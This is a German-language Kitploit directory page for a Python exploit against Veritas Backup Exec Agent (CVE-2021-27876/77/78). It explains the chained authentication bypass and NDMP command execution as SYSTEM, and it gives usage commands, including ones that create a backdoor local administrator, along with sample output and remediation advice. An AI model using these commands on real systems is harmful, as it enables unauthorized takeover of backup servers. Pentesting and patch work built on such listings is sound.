Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-27876 — Nicht authentifizierter RCE-Exploit für Veritas Backup Exec Agent (CVE-2021-27876/77/78) — SHA-Authentifizierungsumgehung zu SYSTEM über NDMP | Kitploit
Tools/GitHubGitHub/wingerbijay/cve-2021-27876
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsCommand and ControlAuthentifizierung
GitHubwingerbijay/cve-2021-27876

CVE-2021-27876

Nicht authentifizierter RCE-Exploit für Veritas Backup Exec Agent (CVE-2021-27876/77/78) — SHA-Authentifizierungsumgehung zu SYSTEM über NDMP

Repository anzeigen
11vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-27876

Nicht authentifizierter RCE-Exploit für den Veritas Backup Exec Agent (CVE-2021-27876/77/78) — SHA-Authentifizierungsumgehung zu SYSTEM über NDMP

CVEs

CVEBeschreibungCVSS 3.1
CVE-2021-27876Authentifizierungsumgehung durch SHA-Hash-Manipulation im NDMP-Protokoll9.8 Kritisch
CVE-2021-27877Nicht authentifiziertes willkürliches Dateilesen über NDMP9.8 Kritisch
CVE-2021-27878Willkürliche Ausführung von Betriebssystembefehlen über NDMP_EXECUTE_COMMAND9.8 Kritisch

Sicherheitshinweis: Veritas VTS21-003

Betroffene Versionen

  • Backup Exec 16.x
  • Backup Exec 20.x
  • Backup Exec 21.x ≤ 21.2 (Agent-Revision ≤ 9.3)

Behoben in: Backup Exec 21.3 und später.


Funktionsweise

Der Veritas Backup Exec Agent horcht auf TCP/10000 und verwendet das NDMP (Network Data Management Protocol). Der Exploit verknüpft drei Schwachstellen:

  1. TLS-Handshake-Missbrauch — Der Agent fordert während seiner benutzerdefinierten TLS-Aushandlung ein CSR an. Der Exploit erzeugt eine lokale CA, signiert das CSR des Agents und schließt den Handshake ab, wodurch der Socket ohne vorher geteiltes Geheimnis auf TLS hochgestuft wird.

  2. SHA-Authentifizierungsumgehung (CVE-2021-27876) — Die NDMP-SHA-Authentifizierung berechnet SHA256('\x00' * 64 + challenge). Da das Passwort als 64-Byte-Null-Block vorangestellt wird und keine serverseitige Validierung des Passwortmaterials erfolgt, kann sich jeder Client als Administrator authentifizieren, ohne das Passwort zu kennen.

  3. NDMP_EXECUTE_COMMAND (CVE-2021-27878) — Nach der Authentifizierung führt der Nachrichtentyp NDMP_EXECUTE_COMMAND beliebige Betriebssystembefehle als NT AUTHORITY\SYSTEM aus. Die Ausgabe wird nach C:\Windows\Temp\_be_out.txt umgeleitet und über NDMP_FILE_READ zurückgelesen.


Voraussetzungen

Python 3.8+

Auf modernen Distributionen ist Python als "externally managed" markiert (PEP 668), daher installieren Sie die Abhängigkeit in eine virtuelle Umgebung:

root@kitploit:~
python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate
pip install cryptography

Verwendung

python3 be_rce.py

Beispiele:

root@kitploit:~
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"

# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"

# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"

Sample output:

[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────

Behebung

  • Aktualisieren Sie den Veritas Backup Exec Agent auf allen Hosts auf Version 21.3 oder höher
  • Schränken Sie TCP/10000 mithilfe von Host-Firewall und Netzwerk-ACLs auf autorisierte Backup-Verwaltungshosts ein
  • Überprüfen Sie alle Hosts, auf denen der Backup Exec Agent in Ihrer Umgebung läuft

Referenzen

  • https://www.veritas.com/support/en_US/security/VTS21-003
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27876
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27877
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27878
  • https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb

Rechtliches

Dieses Tool wird ausschließlich für autorisierte Penetrationstests und Sicherheitsforschung bereitgestellt. Der Einsatz gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.

Tool herunterladen